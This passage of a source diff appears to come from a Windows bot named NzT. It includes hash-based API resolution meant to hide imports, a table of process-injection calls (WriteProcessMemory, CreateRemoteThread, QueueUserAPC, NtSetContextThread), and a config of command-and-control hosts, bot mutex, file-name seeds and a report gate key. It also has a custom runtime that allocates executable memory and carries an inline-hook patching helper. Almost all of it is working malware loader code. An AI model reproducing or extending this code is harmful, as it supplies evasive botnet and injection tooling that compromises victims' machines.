HANDLE File;
DWORD CurrentHash;
HMODULE Module;
if ((SystemDirectory = GetSystem32()) == NULL)
return 0;
if (!StringConcatW(&SystemDirectory, L"\\*.dll"))
return 0;
Module = 0;
MemoryZero(&Data, sizeof(WIN32_FIND_DATAW));
if ((File = API(FindFirstFileW(SystemDirectory, &Data))) != INVALID_HANDLE_VALUE)
{
while (TRUE)
{
if (!API(FindNextFileW(File, &Data)))
break;
if (File == INVALID_HANDLE_VALUE)
break;
CurrentHash = Crc32Hash(Data.cFileName, StringLengthW(Data.cFileName) * 2);
if (CurrentHash == Hash)
{
Module = API(LoadLibraryW(Data.cFileName));
break;
}
}
}
Free(SystemDirectory);
return Module;
}
LPVOID GetProcAddressByHash(
HMODULE Module,
DWORD Hash
)
{
#if defined _WIN64
PIMAGE_NT_HEADERS64 NtHeaders;
#else
PIMAGE_NT_HEADERS32 NtHeaders;
#endif
PIMAGE_DATA_DIRECTORY DataDirectory;
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
LPDWORD Name;
DWORD i, CurrentHash;
LPSTR Function;
LPWORD pw;
if (Module == NULL)
return NULL;
#if defined _WIN64
NtHeaders = (PIMAGE_NT_HEADERS64)((LPBYTE)Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew);
#else
NtHeaders = (PIMAGE_NT_HEADERS32)((LPBYTE)Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew);
#endif
DataDirectory = &NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)Module + DataDirectory->VirtualAddress);
for (i = 0; i < ExportDirectory->NumberOfNames; i++)
{
Name = (LPDWORD)(((LPBYTE)Module) + ExportDirectory->AddressOfNames + i * sizeof(DWORD));
Function = (LPSTR)((LPBYTE)Module + *Name);
CurrentHash = Crc32Hash(Function, StringLengthA(Function));
if (Name && Function && CurrentHash == Hash)
{
pw = (LPWORD)(((LPBYTE)Module) + ExportDirectory->AddressOfNameOrdinals + i * sizeof(WORD));
Name = (LPDWORD)(((LPBYTE)Module) + ExportDirectory->AddressOfFunctions + (*pw) * sizeof(DWORD));
return ((LPBYTE)Module + *Name);
}
}
return NULL;
}
BOOL LoadModules()
{
API_MODULE ModuleList[] =
{
{HASH_USER32, &NzT.Modules.User32},
{HASH_WININET, &NzT.Modules.Wininet},
{HASH_SHELL32, &NzT.Modules.Shell32},
{HASH_ADVAPI32, &NzT.Modules.Advapi32}
};
for (DWORD i = 0; i < sizeof(ModuleList) / sizeof(API_MODULE); i++)
{
if ((*ModuleList[i].Module = LoadLibraryByHash(ModuleList[i].ModuleHash)) == 0)
return FALSE;
}
return TRUE;
}
BOOL LoadKernel32()
{
API_T ApiList[] =
{
{ HASH_KERNEL32_VIRTUALALLOC, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualAlloc },
{HASH_KERNEL32_VIRTUALFREE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualFree },
{HASH_KERNEL32_WRITEPROCESSMEMORY, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pWriteProcessMemory },
{HASH_KERNEL32_CREATETOOLHELP32SNAPSHOT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateToolhelp32Snapshot },
{HASH_KERNEL32_VIRTUALALLOCEX, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualAllocEx },
{HASH_KERNEL32_VIRTUALFREEEX, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualFreeEx },
{HASH_KERNEL32_PROCESS32FIRSTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pProcess32FirstW },
{HASH_KERNEL32_PROCESS32NEXTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pProcess32NextW },
{HASH_KERNEL32_CLOSEHANDLE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCloseHandle },
{HASH_KERNEL32_CREATEPROCESSW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateProcessW },
{HASH_KERNEL32_VIRTUALPROTECT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualProtect },
{HASH_KERNEL32_OPENPROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenProcess },
{HASH_KERNEL32_CREATEREMOTETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateRemoteThread },
{HASH_KERNEL32_EXITPROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pExitProcess },
{HASH_KERNEL32_GETMODULEFILENAMEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetModuleFileNameW },
{HASH_KERNEL32_DELETEFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pDeleteFileW },
{HASH_KERNEL32_LOADLIBRARYW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pLoadLibraryW },
{HASH_KERNEL32_ISWOW64PROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pIsWow64Process },
{HASH_KERNEL32_GETWINDOWSDIRECTORYW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetWindowsDirectoryW },
{HASH_KERNEL32_QUEUEUSERAPC, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pQueueUserAPC },
{HASH_KERNEL32_RESUMETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pResumeThread },
{HASH_KERNEL32_GETSYSTEMDIRECTORYW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetSystemDirectoryW },
{HASH_KERNEL32_FINDFIRSTFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindFirstFileW },
{HASH_KERNEL32_FINDNEXTFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindNextFileW },
{HASH_KERNEL32_CREATETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateThread},
{HASH_KERNEL32_CREATEFILEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateFileW},
{HASH_KERNEL32_WRITEFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pWriteFile},
{HASH_KERNEL32_READFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pReadFile},
{HASH_KERNEL32_GETFILESIZE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetFileSize},
{HASH_KERNEL32_GETVERSIONEXW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetVersionExW},
{HASH_KERNEL32_FINDFIRSTVOLUMEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindFirstVolumeW},
{HASH_KERNEL32_GETVOLUMEINFORMATIONW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetVolumeInformationW},
{HASH_KERNEL32_FINDVOLUMECLOSE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFindVolumeClose},
{HASH_KERNEL32_MULTIBYTETOWIDECHAR, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pMultiByteToWideChar},
{HASH_KERNEL32_GETMODULEHANDLEW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetModuleHandleW},
{HASH_KERNEL32_FLUSHINSTRUCTIONCACHE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFlushInstructionCache},
{HASH_KERNEL32_GETCURRENTPROCESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetCurrentProcess},
{HASH_KERNEL32_THREAD32FIRST, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pThread32First},
{HASH_KERNEL32_THREAD32NEXT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pThread32Next},
{HASH_KERNEL32_OPENMUTEXW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenMutexW},
{HASH_KERNEL32_CREATEMUTEXW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateMutexW},
{HASH_KERNEL32_VIRTUALQUERY, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pVirtualQuery},
{HASH_KERNEL32_GETCURRENTPROCESSID, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetCurrentProcessId},
{HASH_KERNEL32_CREATEFILEMAPPINGW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateFileMappingW},
{HASH_KERNEL32_MAPVIEWOFFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pMapViewOfFile},
{HASH_KERNEL32_UNMAPVIEWOFFILE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pUnmapViewOfFile},
{HASH_KERNEL32_DUPLICATEHANDLE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pDuplicateHandle},
{HASH_KERNEL32_GETCURRENTTHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetCurrentThread},
{HASH_KERNEL32_FLUSHFILEBUFFERS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pFlushFileBuffers},
{HASH_KERNEL32_DISCONNECTNAMEDPIPE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pDisconnectNamedPipe},
{HASH_KERNEL32_GETPROCADDRESS, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetProcAddress},
{HASH_KERNEL32_RTLINITIALIZECRITICALSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlInitializeCriticalSection},
{HASH_KERNEL32_RTLENTERCRITICALSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlEnterCriticalSection},
{HASH_KERNEL32_WIDECHARTOMULTIBYTE, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pWideCharToMultiByte},
{HASH_KERNEL32_RTLLEAVECRITICALSECTION, &NzT.Modules.Ntdll, (LPVOID*)&NzT.Api.pRtlLeaveCriticalSection},
{HASH_KERNEL32_TERMINATETHREAD, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pTerminateThread},
{HASH_KERNEL32_GETTICKCOUNT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetTickCount},
{HASH_KERNEL32_OUTPUTDEBUGSTRINGA, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOutputDebugStringA},
{HASH_KERNEL32_OUTPUTDEBUGSTRINGW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOutputDebugStringW},
{HASH_KERNEL32_GETLASTERROR, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pGetLastError},
{HASH_KERNEL32_SETEVENT, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pSetEvent},
{HASH_KERNEL32_CREATEEVENTA, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateEventA},
{HASH_KERNEL32_CREATEEVENTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pCreateEventW},
{HASH_KERNEL32_OPENEVENTA, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenEventA},
{HASH_KERNEL32_OPENEVENTW, &NzT.Modules.Kernel32, (LPVOID*)&NzT.Api.pOpenEventW}
};
for (DWORD i = 0; i < sizeof(ApiList) / sizeof(API_T); i++)
if ((*ApiList[i].Function = GetProcAddressByHash(*ApiList[i].Module, ApiList[i].FunctionHash)) == NULL)
return FALSE;
return TRUE;
}
BOOL LoadFunctions()
{
API_T ApiList[] =
{
{HASH_USER32_MESSAGEBOXA, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pMessageBoxA},
{HASH_USER32_WSPRINTFW, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pwsprintfW},
{ HASH_USER32_WSPRINTFA, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pwsprintfA},
{HASH_WININET_INTERNETOPENW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetOpenW},
{HASH_WININET_INTERNETCONNECTA, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetConnectA},
//{HASH_WININET_INTERNETCONNECTW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetConnectW},
{HASH_WININET_HTTPOPENREQUESTA, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpOpenRequestA},
//{HASH_WININET_HTTPOPENREQUESTW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpOpenRequestW},
{HASH_WININET_HTTPSENDREQUESTA, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpSendRequestA},
//{HASH_WININET_HTTPSENDREQUESTW, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pHttpSendRequestW},
{HASH_WININET_INTERNETREADFILE, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetReadFile},
{HASH_WININET_INTERNETCLOSEHANDLE, &NzT.Modules.Wininet, (LPVOID*)&NzT.Api.pInternetCloseHandle},
{HASH_SHELL32_SHGETFOLDERPATHW, &NzT.Modules.Shell32, (LPVOID*)&NzT.Api.pSHGetFolderPathW},
{HASH_ADVAPI32_GETUSERNAMEA, &NzT.Modules.Advapi32, (LPVOID*)&NzT.Api.pGetUserNameA},
{HASH_USER32_GETCURSORPOS, &NzT.Modules.User32, (LPVOID*)&NzT.Api.pGetCursorPos}
};
for (DWORD i = 0; i < sizeof(ApiList) / sizeof(API_T); i++)
if ((*ApiList[i].Function = GetProcAddressByHash(*ApiList[i].Module, ApiList[i].FunctionHash)) == NULL)
return FALSE;
return TRUE;
}
BOOL ApiInitialize()
{
if (GetModules())
if (LoadNtdllModule())
if (LoadNtdll())
if (LoadKernel32())
if (LoadModules())
return LoadFunctions();
return FALSE;
}

200
src/Shared/api.h Normal file
View File

@ -0,0 +1,200 @@
#ifndef _API_H_
#define _API_H_
/* NTDLL */
#include "ntdll_functions.h"
#include "ntdll_hash.h"
/* Kernel32 */
#include "kernel32_functions.h"
#include "kernel32_hash.h"
/* User32 */
#include "user32_hash.h"
#include "user32_functions.h"
/* WinInet */
#include "wininet_hash.h"
#include "wininet_functions.h"
/* Shell32 */
#include "shell32_hash.h"
#include "shell32_functions.h"
/* Advapi32 */
#include "advapi32_hash.h"
#include "advapi32_functions.h"
/* Structures */
typedef struct
{
/* NTDLL */
ptRtlRandomEx pRtlRandomEx;
ptRtlGetVersion pRtlGetVersion;
ptNtCreateThread pNtCreateThread;
ptNtQueryInformationProcess pNtQueryInformationProcess;
ptNtCreateUserProcess pNtCreateUserProcess;
ptNtMapViewOfSection pNtMapViewOfSection;
ptNtCreateSection pNtCreateSection;
ptLdrLoadDll pLdrLoadDll;
ptLdrGetDllHandle pLdrGetDllHandle;
ptNtWriteVirtualMemory pNtWriteVirtualMemory;
ptNtAllocateVirtualMemory pNtAllocateVirtualMemory;
ptNtProtectVirtualMemory pNtProtectVirtualMemory;
ptNtDeviceIoControlFile pNtDeviceIoControlFile;
ptNtSetContextThread pNtSetContextThread;
ptNtOpenProcess pNtOpenProcess;
ptNtClose pNtClose;
ptNtCreateFile pNtCreateFile;
ptNtOpenFile pNtOpenFile;
ptNtDeleteFile pNtDeleteFile;
ptNtReadVirtualMemory pNtReadVirtualMemory;
ptNtQueryVirtualMemory pNtQueryVirtualMemory;
ptNtOpenThread pNtOpenThread;
ptNtQueryInformationThread pNtQueryInformationThread;
ptNtResumeThread pNtResumeThread;
ptNtFreeVirtualMemory pNtFreeVirtualMemory;
ptNtFlushInstructionCache pNtFlushInstructionCache;
ptNtSetInformationThread pNtSetInformationThread;
ptNtQuerySystemInformation pNtQuerySystemInformation;
ptLdrQueryProcessModuleInformation pLdrQueryProcessModuleInformation;
ptRtlInitUnicodeString pRtlInitUnicodeString;
ptNtWriteFile pNtWriteFile;
ptNtReadFile pNtReadFile;
ptNtDelayExecution pNtDelayExecution;
ptNtOpenKey pNtOpenKey;
ptNtSetValueKey pNtSetValueKey;
ptNtQueryValueKey pNtQueryValueKey;
ptRtlFormatCurrentUserKeyPath pRtlFormatCurrentUserKeyPath;
ptNtQueryInformationFile pNtQueryInformationFile;
/* Kernel32 */
ptVirtualAlloc pVirtualAlloc;
ptVirtualFree pVirtualFree;
ptOpenProcess pOpenProcess;
ptVirtualAllocEx pVirtualAllocEx;
ptVirtualFreeEx pVirtualFreeEx;
ptWriteProcessMemory pWriteProcessMemory;
ptCreateRemoteThread pCreateRemoteThread;
ptCloseHandle pCloseHandle;
ptCreateToolhelp32Snapshot pCreateToolhelp32Snapshot;
ptCreateProcessW pCreateProcessW;
ptVirtualProtect pVirtualProtect;
ptProcess32FirstW pProcess32FirstW;
ptProcess32NextW pProcess32NextW;
ptExitProcess pExitProcess;
ptGetModuleFileNameW pGetModuleFileNameW;
ptDeleteFileW pDeleteFileW;
ptSleep pSleep;
ptLoadLibraryW pLoadLibraryW;
ptIsWow64Process pIsWow64Process;
ptGetCurrentProcessId pGetCurrentProcessId;
ptGetWindowsDirectoryW pGetWindowsDirectoryW;
ptQueueUserAPC pQueueUserAPC;
ptResumeThread pResumeThread;
ptGetSystemDirectoryW pGetSystemDirectoryW;
ptFindFirstFileW pFindFirstFileW;
ptFindNextFileW pFindNextFileW;
ptCreateThread pCreateThread;
ptCreateFileW pCreateFileW;
ptWriteFile pWriteFile;
ptReadFile pReadFile;
ptGetFileSize pGetFileSize;
ptGetVersionExW pGetVersionExW;
ptFindFirstVolumeW pFindFirstVolumeW;
ptGetVolumeInformationW pGetVolumeInformationW;
ptFindVolumeClose pFindVolumeClose;
ptMultiByteToWideChar pMultiByteToWideChar;
ptGetModuleHandleW pGetModuleHandleW;
ptFlushInstructionCache pFlushInstructionCache;
ptGetProcessHeap pGetProcessHeap;
ptHeapAlloc pHeapAlloc;
ptHeapFree pHeapFree;
ptGetCurrentProcess pGetCurrentProcess;
ptThread32First pThread32First;
ptThread32Next pThread32Next;
ptOpenMutexW pOpenMutexW;
ptReleaseMutex pReleaseMutex;
ptCreateMutexW pCreateMutexW;
ptVirtualQuery pVirtualQuery;
ptCreateFileMappingW pCreateFileMappingW;
ptMapViewOfFile pMapViewOfFile;
ptUnmapViewOfFile pUnmapViewOfFile;
ptDuplicateHandle pDuplicateHandle;
ptGetCurrentThread pGetCurrentThread;
ptFlushFileBuffers pFlushFileBuffers;
ptDisconnectNamedPipe pDisconnectNamedPipe;
ptGetProcAddress pGetProcAddress;
ptRtlInitializeCriticalSection pRtlInitializeCriticalSection;
ptRtlEnterCriticalSection pRtlEnterCriticalSection;
ptRtlLeaveCriticalSection pRtlLeaveCriticalSection;
ptWideCharToMultiByte pWideCharToMultiByte;
ptTerminateThread pTerminateThread;
ptGetTickCount pGetTickCount;
ptOutputDebugStringA pOutputDebugStringA;
ptOutputDebugStringW pOutputDebugStringW;
ptGetLastError pGetLastError;
ptSetEvent pSetEvent;
ptCreateEventA pCreateEventA;
ptCreateEventW pCreateEventW;
ptOpenEventA pOpenEventA;
ptOpenEventW pOpenEventW;
/* User32 */
ptMessageBoxA pMessageBoxA;
ptwsprintfW pwsprintfW;
ptwsprintfA pwsprintfA;
ptGetCursorPos pGetCursorPos;
/* WinInet */
ptInternetOpenW pInternetOpenW;
ptInternetConnectA pInternetConnectA;
ptHttpOpenRequestA pHttpOpenRequestA;
ptHttpSendRequestA pHttpSendRequestA;
ptHttpQueryInfoA pHttpQueryInfoA;
ptInternetCloseHandle pInternetCloseHandle;
ptInternetReadFile pInternetReadFile;
/* Shell32 */
ptSHGetFolderPathW pSHGetFolderPathW;
/* Advapi32 */
ptGetUserNameA pGetUserNameA;
} API_FUNCTIONS;
typedef struct
{
HMODULE Kernel32, Ntdll, User32, Wininet, Shell32, Advapi32, Urlmon, Ws2_32, Shlwapi;
} API_MODULES;
typedef struct
{
DWORD ModuleHash;
HMODULE* Module;
} API_MODULE;
typedef struct
{
DWORD FunctionHash;
HMODULE* Module;
LPVOID* Function;
} API_T;
typedef struct
{
DWORD Table[256];
BOOL Initialized;
} CRC;
/* Functions */
HMODULE GetModuleHandleByHash(DWORD Hash);
LPVOID GetProcAddressByHash(
HMODULE Module,
DWORD Hash
);
BOOL ApiInitialize();
#endif

6
src/Shared/config.c Normal file
View File

@ -0,0 +1,6 @@
#include <Windows.h>
#include "config.h"
LPTSTR g_Hosts[] = { "127.0.0.1", "10.0.0.65", NULL};
UCHAR g_NumberHosts = (UCHAR)(sizeof(g_Hosts) / sizeof(LPTSTR));

22
src/Shared/config.h Normal file
View File

@ -0,0 +1,22 @@
#ifndef _CONFIG_H_
#define _CONFIG_H_
#define NZT_SEED 0x1231231 //change every unique build
#define NZT_VERSION 0x1000
#define NZT_MUTEX "m_NzT_m"
#define BOT_FILE_NAME_SEED 0x1231231
#define BOT_FOLDER_NAME_SEED 0x41231
#define REPORT_GATE_KEY "LET_ME_IN!"
#define REPORT_TIME 1 //minutes
#define REPORT_TYPE_KNOCK 0x24023dd8
#define REPORT_TYPE_CONFIG 0xd48a2f7c
extern UCHAR g_NumberHosts;
extern LPTSTR* g_pHosts;
extern LPTSTR g_pHostsString;
extern LPTSTR g_Hosts[];
#endif

501
src/Shared/crt.c Normal file
View File

@ -0,0 +1,501 @@
#include <windows.h>
#include "crt.h"
#include "nzt.h"
#include "ntdll.h"
#include "utils.h"
void MemoryCopy(void* Destination, const void* Source, DWORD Size)
{
DWORD i;
for (i = 0; i < Size; i++)
{
((LPBYTE)Destination)[i] = ((LPBYTE)Source)[i];
}
}
//MemoryCopy pad by 8 bytes for relative JMP (0xE9)
VOID SafeMemoryCopy_p(
LPVOID Destination,
LPVOID Source,
DWORD Size
)
{
BYTE Buffer[8];
if (Size > 8)
return;
//8 bytes padding
MemoryCopy(Buffer, Destination, 8);
MemoryCopy(Buffer, Source, Size);
if (Is64Bit())
{
_InterlockedCompareExchange64((LONGLONG *)Destination, *(LONGLONG*)Buffer, *(LONGLONG *)Destination);
return;
}
__asm
{
lea esi, Buffer;
mov edi, Destination;
mov eax, [edi];
mov edx, [edi + 4];
mov ebx, [esi];
mov ecx, [esi + 4];
lock cmpxchg8b[edi];
}
}
VOID MemoryZero(
PVOID Destination,
SIZE_T Size
)
{
PCHAR Data = NULL;
if ((Data = (char*)Destination) == NULL)
return;
for (DWORD i = 0; i < Size; i++)
Data[i] = 0x00;
}
DWORD MemorySize(LPVOID Address)
{
MEMORY_BASIC_INFORMATION Memory;
if (!Address)
return 0;
NzT.Api.pVirtualQuery(Address, &Memory, sizeof(MEMORY_BASIC_INFORMATION));
return Memory.RegionSize;
}
LPVOID Malloc(DWORD Size)
{
LPVOID Ptr = 0;
if (API(NtAllocateVirtualMemory(CURRENT_PROCESS, &Ptr, 0, &Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) >= 0)
MemoryZero(Ptr, Size);
return Ptr;
}
VOID Free(PVOID Data)
{
DWORD f = 0;
if (Data)
API(NtFreeVirtualMemory(CURRENT_PROCESS, &Data, &f, MEM_RELEASE));
}
LPVOID Realloc(
PVOID Old,
SIZE_T Size
)
{
LPVOID NewAddress = NULL;
DWORD OldLength = 0;
if (Old)
OldLength = MemorySize(Old);
NewAddress = NULL;
if (Size > 0)
{
NewAddress = Malloc(Size);
if (Old && NewAddress && OldLength)
{
if (Size < OldLength)
OldLength = Size;
MemoryCopy(NewAddress, Old, OldLength);
}
}
if (Old != NULL)
Free(Old);
return NewAddress;
}
BOOL ReallocEx(
PVOID Old,
DWORD Size
)
{
if (Size == 0)
{
Free(*(LPBYTE *)Old);
*(LPBYTE *)Old = NULL;
}
else
{
register PVOID p = Realloc(*(LPBYTE *)Old, Size);
if (p == NULL) return FALSE;
*(LPBYTE *)Old = (LPBYTE)p;
}
return TRUE;
}
INT IntToString(CONST PCHAR String)
{
INT Number = 0;
INT i = 0;
// run till the end of the string is reached, or the
// current character is non-numeric
while (String[i] && (String[i] >= '0' && String[i] <= '9'))
{
Number = Number * 10 + (String[i] - '0');
i++;
}
return Number;
}
DWORD StringLengthA(CONST LPSTR String)
{
DWORD Size = 0;
if (String == NULL)
return 0;
do
{
if (String[Size] == 0)
break;
Size++;
} while (TRUE);
return Size;
}
DWORD StringLengthW(CONST LPWSTR String)
{
DWORD Size = 0;
if (String == NULL)
return 0;
do
{
if (String[Size] == 0)
break;
Size++;
} while (TRUE);
return Size;
}
LPSTR StringCopyA(
CONST LPSTR Input,
DWORD Length
)
{
LPSTR Data;
if ((Data = (LPSTR)Malloc(Length + 1)) == NULL)
return NULL;
MemoryCopy(Data, Input, Length);
return Data;
}
LPWSTR StringCopyW(
CONST LPWSTR Input,
DWORD Length
)
{
LPWSTR Data;
DWORD NewStringLength;
NewStringLength = Length * sizeof(wchar_t);
if ((Data = (LPWSTR)Malloc(NewStringLength + sizeof(wchar_t))) == NULL)
return NULL;
MemoryCopy(Data, Input, NewStringLength);
return Data;
}
BOOL StringConcatExA(
LPSTR* ppszData,
DWORD dwCurrentLength,
const LPSTR pszSource,
DWORD dwLength
)
{
if (ReallocEx(ppszData, dwCurrentLength + dwLength + 1))
{
MemoryCopy((*ppszData) + dwCurrentLength, pszSource, dwLength);
return TRUE;
}
return FALSE;
}
BOOL StringConcatA(
LPSTR* ppszData,
const LPSTR pszSource
)
{
return StringConcatExA(ppszData, StringLengthA(*ppszData), pszSource, StringLengthA(pszSource));
}
BOOL StringConcatExW(
LPWSTR* ppwzData,
DWORD dwCurrentLength,
const LPWSTR pwzSource,
DWORD dwLength
)
{
if (ReallocEx(ppwzData, (dwCurrentLength + dwLength + 1) * sizeof(wchar_t)))
{
MemoryCopy((*ppwzData) + dwCurrentLength, pwzSource, dwLength * sizeof(wchar_t));
return TRUE;
}
return FALSE;
}
BOOL StringConcatW(
LPWSTR* ppwzData,
const LPWSTR pwzSource)
{
return StringConcatExW(ppwzData, StringLengthW(*ppwzData), pwzSource, StringLengthW(pwzSource));
}
INT StringCompareA(
LPCSTR String1,
LPCSTR String2
)
{
for (; *String1 == *String2; String1++, String2++)
{
if (*String1 == '\0')
return 0;
}
return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1);
}
BOOL StringCompareW(
CONST LPWSTR Input,
CONST LPWSTR Data
)
{
DWORD InputLength, DataLength, i;
InputLength = StringLengthW(Input);
DataLength = StringLengthW(Data);
if (DataLength != InputLength)
return FALSE;
for (i = 0; i < DataLength; i++)
{
if (Input[i] != Data[i])
return FALSE;
}
return TRUE;
}
PCHAR StringTokenizeA(
PCHAR str,
CONST PCHAR Delimiter
)
{
static int pos;
static char *s;
int i = 0, start = pos;
// Copying the string for further calls of strtok
if (str != NULL)
s = str;
i = 0;
int j = 0;
//While not end of string
while (s[pos] != '\0')
{
j = 0;
//Comparing of one of the delimiter matches the character in the string
while (Delimiter[j] != '\0')
{
//Pos point to the next location in the string that we have to read
if (s[pos] == Delimiter[j])
{
//Replace the delimter by \0 to break the string
s[pos] = '\0';
pos = pos + 1;
//Checking for the case where there is no relevant string before the delimeter.
//start specifies the location from where we have to start reading the next character
if (s[start] != '\0')
return (&s[start]);
else
{
// Move to the next string after the delimiter
start = pos;
// Decrementing as it will be incremented at the end of the while loop
pos--;
break;
}
}
j++;
}
pos++;
}//End of Outer while
s[pos] = '\0';
if (s[start] == '\0')
return NULL;
else
return &s[start];
}
PWCHAR StringTokenizeW(
PWCHAR String,
CONST PWCHAR Delim
)
{
PWCHAR Last = NULL;
PWCHAR SpanP = NULL, Token = NULL;
INT C = 0, SC = 0;
if (String == NULL)
return NULL;
CONTINUE:
C = *String++;
for (SpanP = (PWCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;)
{
if (C == SC)
goto CONTINUE;
}
if (C == ERROR_SUCCESS) { Last = NULL; return NULL; }
Token = String - 1;
for (;;)
{
C = *String++;
SpanP = (PWCHAR)Delim;
do {
if ((SC = *SpanP++) == C)
{
if (C == ERROR_SUCCESS)
String = NULL;
else
String[-1] = '\0';
Last = String;
return Token;
}
} while (SC != ERROR_SUCCESS);
}
return NULL;
}
PWCHAR StringToLowerW(
CONST PWCHAR Input,
DWORD Length
)
{
int c = 0;
static WCHAR Lower[255];
if (Input == NULL)
return NULL;
MemoryZero(&Lower, sizeof(Lower));
for (DWORD i = 0; i < Length; i++)
{
c = Input[i];
if (c >= 65 && c <= 90)
c += 32;
Lower[i] = c;
}
return Lower;
}
BOOL StringEndsWithSlashW(CONST PWCHAR String)
{
DWORD Length;
WCHAR Data;
if ((Length = StringLengthW(String)) == 0)
return FALSE;
Data = String[Length];
if (Data == L'\\') return TRUE;
return FALSE;
}
char *StringChr(s, c)
register const char *s;
int c;
{
char *rtnval = 0;
do {
if (*s == c)
rtnval = (char*)s;
} while (*s++);
return (rtnval);
}
BOOL StringToUnicode(
PUNICODE_STRING String,
CONST LPWSTR Buffer
)
{
DWORD Length;
if (String == 0)
return FALSE;
Length = StringLengthW(Buffer);
if ((String->Buffer = StringCopyW(Buffer, Length)) == 0)
return FALSE;
String->Length = Length * 2;
String->MaximumLength = Length * 2;
return TRUE;
}
void FreeUnicodeString(PUNICODE_STRING String)
{
if (String == 0)
return;
if (String->Buffer != 0)
{
Free(String->Buffer);
MemoryZero(String, sizeof(UNICODE_STRING));
}
}

45
src/Shared/crt.h Normal file
View File

@ -0,0 +1,45 @@
#ifndef _CRT_H_
#define _CRT_H_
#include "ntdll.h"
/* memory */
void MemoryCopy(void* Destination, const void* Source, DWORD Size);
VOID MemoryZero(PVOID Destination, SIZE_T Size);
DWORD MemorySize(LPVOID Address);
LPVOID Malloc(DWORD Size);
VOID Free(PVOID Data);
BOOL ReallocEx(PVOID Old, DWORD Size);
